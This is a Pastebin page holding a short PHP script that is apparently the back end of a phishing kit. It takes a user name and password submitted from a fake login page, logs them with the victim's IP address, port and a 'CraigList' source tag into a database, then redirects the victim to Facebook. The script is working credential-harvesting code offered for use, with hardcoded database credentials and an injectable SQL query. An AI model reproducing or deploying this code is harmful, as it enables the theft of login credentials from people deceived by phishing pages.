Advertisement
Guest User

Untitled

a guest
Oct 1st, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. <?php
  2. $servername = "localhost";
  3. $username = "id3100816_lisa85rg";
  4. $password = "Pass1234555";
  5. $dbname = "id3100816_lisa85rg";
  6.  
  7. // Create connection
  8. $conn = new mysqli($servername, $username, $password, $dbname);
  9. // Check connection
  10. if ($conn->connect_error) {
  11. die("Connection failed: " . $conn->connect_error);
  12. }
  13.  
  14. // get takes login credentials prom login page
  15. $user = $_GET['user']; $pass = $_GET['pass'];
  16. // date for db
  17. $dat = date("d/m/Y");
  18. $hour = date("h:i:sa");
  19.  
  20. //take ip and port
  21. function getRealIpAddr()
  22. {
  23. if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
  24. {
  25. $ip=$_SERVER['HTTP_CLIENT_IP'];
  26. }
  27. elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check ip is pass from proxy
  28. {
  29. $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
  30. }
  31. else
  32. {
  33. $ip=$_SERVER['REMOTE_ADDR'];
  34. }
  35. return $ip;
  36. }
  37.  
  38. $aipi=getRealIpAddr();
  39. $prt=$_SERVER['REMOTE_PORT'];
  40. $xfromx='CraigList';
  41.  
  42. // insert into dB
  43. $sql = "INSERT INTO logintbl (hour, data, user, pass, ip, port, xfromx)
  44. VALUES ('$hour', '$dat', '$user', '$pass', '$aipi', '$prt', '$xfromx')";
  45.  
  46. if ($conn->query($sql) === TRUE) {
  47. header('Location: http://www.facebook.com/');
  48. //echo "<script> window.location.assign('http://www.google.com/'); </script>";
  49.  
  50. } else {
  51. echo "Error: " . $sql . "<br>" . $conn->error;
  52. }
  53.  
  54. $conn->close();
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement